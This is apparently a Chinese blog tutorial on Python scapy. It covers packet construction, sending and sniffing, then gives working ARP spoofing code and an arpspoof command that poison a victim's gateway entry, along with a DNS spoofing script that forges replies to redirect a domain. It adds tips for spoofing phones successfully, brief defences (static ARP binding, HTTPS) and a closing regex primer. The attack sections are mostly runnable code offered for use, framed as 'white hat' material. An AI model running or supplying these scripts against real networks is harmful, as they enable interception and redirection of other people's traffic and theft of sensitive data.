Python-scapy(白帽)[ARP无法欺骗手机吗][DNS欺骗不了https吗]

一.scapy基础

1.用法

1.1 导入

from scapy.all import *

1.2 分层

内网:p = Ether()/ARP()
外网:p = IP()/UDP()/DNS()
区别:内网Ether(); 外网IP(); 开头

2.函数

2.1 ls

格式:ls()
解释:查看指定内容发送网络包详细配置信息

  1. 格式:p.summary()
    解释:让用户直观而简单的查看到数据包描述
  2. 格式:p.show()
    解释:让用户直观而丰富的查看到数据包描述

2.2 wrpcap

格式:wrpcap('x.cap',p)
解释:将p变量下的内容写入cap文件

  1. 格式:p=rdpcap('x.cap')
    解释:把cap文件赋值给变量p方便查看

2.3 haslayer

格式:a.haslayer(DNS)
解释:用来判断包里是否包含指定协议

  1. a.getlayer(DNS).qr #获取某协议里面的某数值

2.4 sprintf

格式:b = a.sprintf('%Raw.load%')
解释:用来筛选某一层某一参数取值,示例为可以提取http

3.发送与接受数据包

3.1 send

格式:send(p)
解释:用于发送IP地址为目的的包,只能发送

  1. 格式:sendp(p)
    解释:用于发送mac地址为目的的包,只能发送

3.2 sr

格式:a,b=sr(p)
解释:返回两个列表需要两个变量承接,第一个列表为收到应答的数据包,第二个列表为没有收到应答的数据包,用于发送IP地址为目的的包

  1. 格式:a=srl()
    解释:只返回一个应答数据列表,用于发送IP地址为目的的包
  2. 格式:a=srp()
    解释:用于发送MAC地址为目的的包

4.抓包函数

4.1函数

格式:sniff(filter=‘过滤机制’,iface='网卡名字',prn=来处理的函数,count=n)
解释:抓取经过网卡的数据包

4.2过滤机制(伯克利过滤)

举例:

  1. src host 192.168.0.3
  2. dst net 192.168.0.0/24
  3. dst port 8080
  4. icmp and src port 8080
  5. port 80 #http协议的连接
  6. port 53 #dns协议的连接

解释:多个语句and or not连接,没有指定src或者dst默认有一方即可,参数四,用来限制接受数据包的数量

二.scapy实战

1.ARP欺骗

1.1 ARP包结构

①Ether

dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
src        : SourceMACField                      = '04:33:c2:08:28:70' (None)
type       : XShortEnumField                     = 36864           (36864)

解释:一般只填写dst即可
②ARP

内容解释
hwtype硬件类型(Hardware type)
ptype协议类型(Protocol type)
hwlen硬件地址长度(Hardware address length)
plen协议长度(Protocol length)
op操作类型(Operation type)
hwsrc硬件mac地址
psrc协议源ip地址
hwdst硬件目的mac地址
pdst协议目的ip地址

解释:前4条默认不用添加,第5条op1为ARP请求;2为ARP响应

1.2 原理

原理:就是利用协议缺陷,若路由器或者交换机方面ip对应mac地址不是固定的就很容易施展ARP欺骗

攻击:正常的ARP包内容如上,只需要把源ip地址(也就是你的网关),对应的真实mac地址改为攻击者的mac地址,被攻击者的所有流量都将经过攻击者,攻击者就能从真窃听,获得敏感信息

1.3 代码

from scapy.all import *
sendp(Ether(dst='58:93:97:**:**:**')/ARP(op=2,hwsrc='1c:55:65:2b:20
x:x6',psrc='192.168.0.1',hwdst='58:93:97:**:**:**',pdst='192.168.0.9'),loop=1)

1.4 实战

arpspoof -i eth0 -t 192.168.0.5 192.168.0.1
解释:-i + 联网源 -t + target 网关

1.5 ARP无法欺骗手机吗?

答案:能欺骗

原因:可能你使用kali linux通过win10连接到路由器,然后你想给手机发送ARP包需要先经过win10但是win10没有开启流量转发功能,导致ARP无法转到手机上,对手机欺骗最好把转发打开,欺骗次数也要降低,否则失败率极高

1.6 ARP欺骗的解决

解释:通过路由器把ip与mac地址绑定,这样网关的ip就不会是动态变化的了

1.7 问题

问题:实测在arp欺骗流量转发的时候存在丢包问题,也就是没有全部抓取到被欺骗者的数据包,比如post包

2.DNS欺骗

2.1 DNS包结构

①IP

version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 0               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '127.0.0.1'     (None)
dst        : DestIPField                         = '127.0.0.1'     (None)
options    : PacketListField                     = []              ([])

解释:一般填写src dst
②UDP

sport      : ShortEnumField                      = 53              (53)
dport      : ShortEnumField                      = 53              (53)
len        : ShortField                          = None            (None)
chksum     : XShortField                         = None            (None)

解释:一般填写sport dport

③DNS

主线主线
iddns很重要的标识
flag①qr(0表请求1表回复)②opcode③aa④tc⑤rd⑥ra⑦rcode
qdcount请求数目(questions)
ancount回答数目(answer RRs)
nscount权威名称服务器个数(Authority RRs)[Number of authoritative name servers]
arcount附加个数(Additional RRs)[Number of additional records]
qd关键信息(询问-请求包应答包里都有)
an关键信息(应答-请求包无应答包有)

length     : ShortField (Cond)                   = None            (None)
id         : ShortField                          = 4923            (0)
qr         : BitField  (1 bit)                   = 1               (0)
opcode     : BitEnumField  (4 bits)              = 0               (0)
aa         : BitField  (1 bit)                   = 0               (0)
tc         : BitField  (1 bit)                   = 0               (0)
rd         : BitField  (1 bit)                   = 1               (1)
ra         : BitField  (1 bit)                   = 1               (0)
z          : BitField  (1 bit)                   = 0               (0)
ad         : BitField  (1 bit)                   = 0               (0)
cd         : BitField  (1 bit)                   = 0               (0)
rcode      : BitEnumField  (4 bits)              = 0               (0)
qdcount    : DNSRRCountField                     = 1               (None)
ancount    : DNSRRCountField                     = 2               (None)
nscount    : DNSRRCountField                     = 0               (None)
arcount    : DNSRRCountField                     = 0               (None)
qd         : DNSQRField                          = <DNSQR  qname='www.52pojie.cn.' qtype=A qclass=IN |> (None)
an         : DNSRRField                          = <DNSRR  rrname='www.52pojie.cn.' type=CNAME rclass=IN ttl=1 rdlen=None rdata='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' |<DNSRR  rrname='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' type=A rclass=IN ttl=1 rdlen=None rdata=123.6.81.72 |>> (None)
ns         : DNSRRField                          = None            (None)
ar         : DNSRRField                          = None            (None)

解释:一般只需要填写id qr qd an

2.2 原理

解释:开启抓包,对目标网络的包不停的筛选其DNS请求包,并对其拦截阻止其发向网关,之后对其篡改发送给目标,完成欺骗

2.3 代码

from scapy.all import *
import re
def dnsgo(s):
    dns_list = ['jjc.kl.com']
    if s.haslayer(DNS) and s.getlayer(DNS).qr == 0:
        ip = s.getlayer(IP)
        udp = s.getlayer(UDP)
        dns = s.getlayer(DNS)
        dns_text=dns.qd.qname.decode()[:-1]
        if dns_text in dns_list:
            a = IP(src=ip.dst,dst=ip.src)
            a/=UDP(sport=udp.dport,dport=udp.sport)
            a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
            send(a)
            print('ok')

sniff(filter='udp dst port 53',prn=dnsgo)

解释:这里的代码就使用了前面函数里面的获取数据包的内容,注意导向的网站最好是非http加密的
注意:本文的dns欺骗失败率很高,因为scapy它不会拦截包,等构造好的包发出去时可能路由告诉用户dns了,升级版查看此

2.4 DNS欺骗的解决

解释:个人访问带https的网站,站长申请上https

3.流量筛选

3.1 正则表达式

符号作用
*匹配前面字符0个或者多个
+匹配前面字符1个或者多个
匹配前面字符0个或一个
.匹配除了换行符外的任意一个字符
^匹配行首
$匹配行尾
[]只匹配一个字符,如[0-9]匹配一个数字
[^]表示不匹配什么
{n}匹配前面字符确定的n次
{n,}匹配前面字符至少n次
{n,m}匹配前面字符至少n次最多m次
\转义字符
符号     | 作用

-------- | -----
(?:a|b) |重点:匹配组合 举例:nizh(?:a|b) nizha 匹配nizha
(?=a) | 重点:匹配前面的内容 举例:nizh(?=a|b) nizha 匹配nizh
(?!a) | 重点:匹配前面的内容 举例:nizh(?!a|b) nizhc 匹配nizh
(?<=a) | 重点:反向匹配 举例:(?<=a|b)nizh anizh 匹配nizh
(?<!a)| 重点:反向匹配 举例:(?<!a|b)nizh cnizh 匹配nizh

符号作用
\d匹配0-9的数字
\w匹配英文数字下划线的任意组合
\D不匹配0-9的数字
\W不匹配英文数字下划线的任意组合

例题:

  1. 匹配只能输入汉字,英文,数字,下划线
    ^[\w\u4e00-\u9fa5]+$
    学习:可以在中括号‘或’条件直接书写
  2. 匹配长度6-12位只能包含英文数字
    ^[a-zA-Z0-9]{6,12}$

3.2 re模块

  1. re.search(正则,内容) 扫描整个字符串并返回第一个成功的匹配
  2. re.findall(正则,内容)在字符串中找到正则表达式所匹配的所有子串
  3. a=re.compile(正则表达式)searchfindall使用,格式a.search(内容)
  4. re.search().group() #提取出来内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值